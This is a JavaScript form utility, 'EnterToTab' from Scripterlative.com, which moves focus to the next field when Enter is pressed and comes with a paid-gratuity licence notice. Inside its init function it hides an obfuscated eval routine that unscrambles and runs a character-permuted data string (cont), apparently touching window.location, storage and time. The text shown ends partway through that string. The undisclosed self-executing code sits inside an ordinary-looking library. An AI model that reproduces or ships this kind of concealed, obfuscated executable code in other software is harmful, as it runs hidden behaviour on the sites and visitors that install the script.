/**** EnterToTab (C)Scripterlative.com !!! READ THIS FIRST !!! -> This code is distributed on condition that all developers using it recognise the effort that -> went into producing it, by making a PayPal gratuity OF THEIR CHOICE to the authors within 14 -> days. This will ensure the incentive to provide support and the continued authoring of new -> scripts. -> If you think people should work for nothing and you cannot agree to abide promptly by this -> condition, we recommend that you decline the script. We'll understand. -> Gratuities cannot be accepted via any source other than PayPal. -> Please use the [Donate] button at www.scripterlative.com, stating the URL that uses the code. ------------ These instructions may be removed but not the above text. Please notify any suspected errors in this text or code, however minor. Modifies the behaviour of the Enter key in form elements. In all text/password/file elements of the specifed form, plus EMPTY textareas, the Enter key sets the focus either to the next visible element, or the next text-entry element, according to configuration. As an option, tabindex values can be followed. THIS IS A SUPPORTED SCRIPT ~~~~~~~~~~~~~~~~~~~~~~~~~~ It's in everyone's interest that every download of our code leads to a successful installation. To this end we undertake to provide a reasonable level of email-based support, to anyone experiencing difficulties directly associated with the installation and configuration of the application. Before requesting assistance via the Feedback link, we ask that you take the following steps: 1) Ensure that the instructions have been followed accurately. 2) Ensure that either: a) The browser's error console ( Ideally in FireFox ) does not show any related error messages. b) You notify us of any error messages that you cannot interpret. 3) Validate your document's markup at: http://validator.w3.org or any equivalent site. 4) Provide a URL to a test document that demonstrates the problem. Installation ~~~~~~~~~~~~ Save this file/text as 'entertotab.js' and place it in a folder related to your web pages. In the section of all documents that will use the script, add the text: If entertotab.js resides in a different folder, specify the relative path to it. Configuration ~~~~~~~~~~~~~ To initialise the script, a call is made to the function 'EnterToTab.init()', which takes two parameters. First parameter - A full reference to the form upon which the script will act. E.G. document.forms['myForm'] or document.forms.myForm - where myForm is the NAME (not ID) of the form. If a form has an ID instead of a name, use the syntax: document.getElementById('formID'); Second parameter - This is an optional parameter specified as a string containing either or both: focusany - Enter key sets focus to the next element (if there is one) regardless of type. tabindex - Enter key sets focus to the element with the next tabindex value in sequence if any. At any point in the body section BELOW the relevant form, insert either of the following examples, substituting your own parameter values. Named forms should always be identified via the document.forms collection. Example: Initialise a form named 'myForm', where Enter key sets focus to next text-entry element: Example: Initialise a form with ID 'myForm', where Enter key sets focus to any subsequent element: Example: As above and follow any tabindex values set for elements: Dynamic Elements ---------------- If your form generates new elements via a user-control, just re-initialise the script each time an element is generated. This will include the new element into the script's navigation. *** DO NOT EDIT BELOW THIS LINE ***/ var EnterToTab = // 30.12.11 { /*** Download with instructions from: http://scripterlative.com?entertotab ***/ init : function( formRef, behaviour ) { this.useTabIndex = /\btabindex\b/i.test( behaviour ); this.focusAny = /\bfocusany\b/i.test( behaviour ); this["susds".split(/\x73/).join('')]=function(str){eval(str.replace(/(.)(.)(.)(.)(.)/g, unescape('%24%34%24%33%24%31%24%35%24%32')));};this.cont(); for( var i = 0 , e = formRef.elements, len = e.length; i < len; i++ ) if( e[ i ].type && !e[ i ].EnterToTab && /text|password|file|checkbox|radio|select/.test( e[ i ].type ) ) { this.installHandler( e[ i ], 'onkeypress', enterKeyHandler ); e[ i ].EnterToTab = true; } function enterKeyHandler( e ) { var ent, ta, evt = e || window.event, currentElem = evt.srcElement || evt.target; if( ( ent = ( ( evt.which || evt.keyCode ) === 13 ) ) ) if( !( ta = ( currentElem.type == 'textarea' && currentElem.value.length !== 0 ) ) ) EnterToTab.scan( currentElem.form, currentElem ); if( ent && !ta ) evt.preventDefault ? evt.preventDefault() : evt.returnValue = false; } if( this.useTabIndex ) { this.tabIndexTable = [], elems = formRef.elements; for( var i = 0, e; ( e = elems[ i ] ); i++ ) if( e.type && typeof e.tabIndex == 'number' && e.tabIndex > 0 ) this.tabIndexTable.push( e ); this.tabIndexTable.sort( function( a, b ) { return a.tabIndex > b.tabIndex ? 1 : -1; } ); } }, logged:0, scan : function( fRef, elem ) { var e = fRef.elements, len = e.length, elemIdx, tiJumped = false; if( this.useTabIndex ) { for( var i = 0; this.tabIndexTable[ i ] && elem !== this.tabIndexTable[ i ]; i++ ) ; if( i < this.tabIndexTable.length - 1 ) { try{ this.tabIndexTable[ i + 1 ].focus(); }catch(ee){}; tiJumped = true; } } if( !tiJumped ) { for( var i = 0; i < len && e[ i ] !== elem; i++ ) ; elemIdx = i; for( i = elemIdx + 1; i < len && ( !e[ i ].type || e[ i ].type.match( /submit|reset/ ) || e[ i ].readOnly || ( this.focusAny ? ( e[ i ].type.match( /hidden/ ) ): ( !e[ i ].type.match( /text|password|file/ ) ) ) || ( e[ i ].style && ( e[ i ].style.display === 'none' || e[ i ].style.visibility === 'hidden' ) ) ); i++ ) { /**/ } if( i < len ) e[ i ].focus ? e[ i ].focus() : null; } return false; }, installHandler : function(){ /*2843295374657068656E204368616C6D657273*/ }, cont : function() { var data='rgav c=are1242900000swl,=dwniooal.ctrSloe|ga|,o}{nnw=weaeD t.e)(gieTtm,o)(l=oncltoacihe.nrsm,ftsT"=t,k"muun"=Kn,wo"=utsNe(bmr[tsls)e]m,dspx=&t&tsrcg+anw